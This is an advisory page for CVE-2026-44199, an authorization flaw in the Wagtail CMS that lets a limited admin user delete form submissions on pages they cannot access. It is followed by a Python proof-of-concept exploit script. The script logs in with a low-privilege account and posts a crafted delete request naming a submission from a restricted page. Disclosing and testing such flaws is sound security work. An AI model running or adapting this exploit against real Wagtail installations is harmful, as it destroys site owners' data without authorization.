CVE-2026-44199

Description

Wagtail is an open source content management system built on Django. Prior to 7.0.7, 7.3.2, and 7.4, a CMS user with limited access to form pages could delete submissions to form pages they don't have access to by crafting a form submission to delete submissions on a page they do have access to for submissions they don't. The vulnerability is not exploitable by an ordinary site visitor without access to the Wagtail admin. This vulnerability is fixed in 7.0.7, 7.3.2, and 7.4.

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Configuration
target_url = "http://example.com"
login_url = f"{target_url}/admin/login/"
delete_endpoint = f"{target_url}/admin/pages/<accessible_page_id>/submissions/delete/"
username = "limited_user"
password = "user_password"

# The ID of the submission to delete (belonging to a restricted page)
target_submission_id = 999 

session = requests.Session()

# 1. Authenticate to get session
login_data = {
    "username": username,
    "password": password,
    "csrfmiddlewaretoken": "<get_from_login_page>",
    "next": "/admin/"
}
session.post(login_url, data=login_data)

# 2. Craft the exploit payload
# Attacker sends a request to delete submission ID 999 via a page they have access to
payload = {
    "action": "delete",
    "selected_submission": target_submission_id,
    "csrfmiddlewaretoken": "<get_valid_token>"
}

# 3. Send the exploit request
response = session.post(delete_endpoint, data=payload)

if response.status_code == 200:
    print(f"[+] Successfully deleted submission ID: {target_submission_id}")
else:
    print(f"[-] Exploit failed. Status: {response.status_code}")
